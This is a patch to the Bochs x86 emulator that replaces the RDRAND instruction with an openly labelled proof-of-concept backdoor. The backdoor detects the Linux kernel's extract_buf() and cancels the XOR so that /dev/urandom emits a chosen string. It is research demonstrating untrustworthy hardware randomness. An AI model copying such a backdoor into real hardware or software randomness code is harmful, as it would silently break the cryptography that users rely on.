diff -rupN bochs-20140203-orig/cpu/rdrand.cc bochs-20140203/cpu/rdrand.cc
--- bochs-20140203-orig/cpu/rdrand.cc	2012-10-09 09:16:48.000000000 -0600
+++ bochs-20140203/cpu/rdrand.cc	2014-02-08 10:18:01.413166806 -0700
@@ -59,36 +59,116 @@ BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_C
 
 BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::RDRAND_Ed(bxInstruction_c *i)
 {
-#if BX_SUPPORT_VMX
-  if (BX_CPU_THIS_PTR in_vmx_guest) {
-    if (SECONDARY_VMEXEC_CONTROL(VMX_VM_EXEC_CTRL3_RDRAND_VMEXIT)) {
-      VMexit(VMX_VMEXIT_RDRAND, 0);
-    }
-  }
-#endif
-
-  Bit32u val_32 = 0;
+    Bit32u rdrand_output = 0;
+    Bit32u xor_with = 0;
 
-  if (HW_RANDOM_GENERATOR_READY) {
-    val_32 |= rand() & 0xff;  // hack using std C rand() function
-    val_32 <<= 8;
-    val_32 |= rand() & 0xff;
-    val_32 <<= 8;
-    val_32 |= rand() & 0xff;
-    val_32 <<= 8;
-    val_32 |= rand() & 0xff;
+    Bit32u ebx = get_reg32(BX_32BIT_REG_EBX);
+    Bit32u edx = get_reg32(BX_32BIT_REG_EDX);
+    Bit32u edi = get_reg32(BX_32BIT_REG_EDI);
+    Bit32u esp = get_reg32(BX_32BIT_REG_ESP);
+
+    const char output_string[] = "PoC||GTFO!\n";
+    static int position = 0;
+
+    Bit32u addr = 0;
+    static Bit32u last_addr = 0;
+    static Bit32u second_last_addr = 0;
+
+    /*
+     * We only want to change RDRAND's output if it's being used for the
+     * vulnerable XOR in extract_buf(). This only happens in Ring 0.
+     */
+    if (CPL == 0) {
+
+        /*
+         * The address of the value our output will get XORed with is
+         * pointed to by one of the registers, and is somewhere on the
+         * stack. We can use that to tell if we're being executed in
+         * extract_buf() or somewhere else in the kernel. Obviously, the
+         * exact registers will vary depending on the compiler, so we
+         * have to account for a few different possibilities. It's not
+         * perfect, but hey, this is a POC.
+         *
+         * This has been tested on, and works, with 32-bit versions of
+         *  - Tiny Core Linux 5.1
+         *  - Arch Linux 2013.12.01 (booting from cd)
+         *  - Debian Testing i386 (retrieved December 6, 2013)
+         *  - Fedora 19.1
+         */
+
+        if (esp <= edx && edx <= esp + 256) {
+            addr = edx;
+        } else if (esp <= edi && edi <= esp + 256
+                   && esp <= ebx && ebx <= esp + 256) {
+            /*
+             * With CONFIG_CC_OPTIMIZE_FOR_SIZE=y, either:
+             *  - EBX points to the current index,
+             *      EDI points to the end of the array.
+             *  - EDI points to the current index,
+             *      EBX points to the end of the array.
+             * To distinguish the two, we have to compare them.
+             */
+            if (edi <= ebx) {
+                addr = edi;
+            } else {
+                addr = ebx;
+            }
+        } else {
+            /* It's not extract_buf(), so cancel the backdooring. */
+            goto do_not_backdoor;
+        }
+
+        /* Read the value that our output will be XORed with. */
+        xor_with = read_virtual_dword(BX_SEG_REG_DS, addr);
+
+        Bit32u urandom_output = 0;
+        Bit32u advance_length = 4;
+        Bit32u extra_shift = 0;
+
+        /* Only the first two bytes get used on the third RDRAND
+         * execution. */
+        if (addr == last_addr + 4 && last_addr == second_last_addr + 4)
+        {
+            advance_length = 2;
+            extra_shift = 16;
+        }
+
+        /* Copy the next portion of the string into the output. */
+        for (int i = 0; i < advance_length; i++) {
+            /* The characters must be added backwards, because little
+             * endian. */
+            urandom_output >>= 8;
+            urandom_output |= output_string[position++] << 24;
+            if (position >= strlen(output_string)) {
+                position = 0;
+            }
+        }
+        urandom_output >>= extra_shift;
+
+        second_last_addr = last_addr;
+        last_addr = addr;
+
+        rdrand_output = xor_with ^ urandom_output;
+
+    } else {
+do_not_backdoor:
+        /* Normally, RDRAND would produce good random output. */
+        rdrand_output |= rand() & 0xff;
+        rdrand_output <<= 8;
+        rdrand_output |= rand() & 0xff;
+        rdrand_output <<= 8;
+        rdrand_output |= rand() & 0xff;
+        rdrand_output <<= 8;
+        rdrand_output |= rand() & 0xff;
+    }
 
+    BX_WRITE_32BIT_REGZ(i->dst(), rdrand_output);
     setEFlagsOSZAPC(EFlagsCFMask);
-  }
-  else { 
-    setEFlagsOSZAPC(0);
-  }
 
-  BX_WRITE_32BIT_REGZ(i->dst(), val_32);
-
-  BX_NEXT_INSTR(i);
+    BX_NEXT_INSTR(i);
 }
 
+
 #if BX_SUPPORT_X86_64
 BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::RDRAND_Eq(bxInstruction_c *i)
 {
diff -rupN bochs-20140203-orig/my_configure.sh bochs-20140203/my_configure.sh
--- bochs-20140203-orig/my_configure.sh	1969-12-31 17:00:00.000000000 -0700
+++ bochs-20140203/my_configure.sh	2014-02-08 10:42:30.343894562 -0700
@@ -0,0 +1,35 @@
+#!/bin/bash
+
+# This is the folder that bochs will install to. Feel free to change this to
+# anything you like. By default, we install bochs to a 'my_build" folder in the
+# current directory.
+install_path=$(realpath ./my_build)
+
+# Create the installation folder if it doesn't exist.
+mkdir -p "$install_path"
+
+# Run Boch's configure script with the features that we need.
+./configure \
+  --enable-smp \
+  --enable-x86-64 \
+  --enable-all-optimizations \
+  --enable-long-phy-address \
+  --enable-configurable-msrs \
+  --enable-disasm \
+  --enable-fpu \
+  --enable-alignment-check \
+  --enable-svm \
+  --enable-vmx=2 \
+  --enable-avx \
+  --enable-a20-pin \
+  --enable-pci \
+  --enable-clgd54xx \
+  --enable-voodoo \
+  --enable-usb \
+  --enable-usb-ohci \
+  --enable-usb-xhci \
+  --enable-cdrom \
+  --enable-sb16 \
+  --enable-es1370 \
+  --enable-show-ips \
+  --prefix="$install_path"
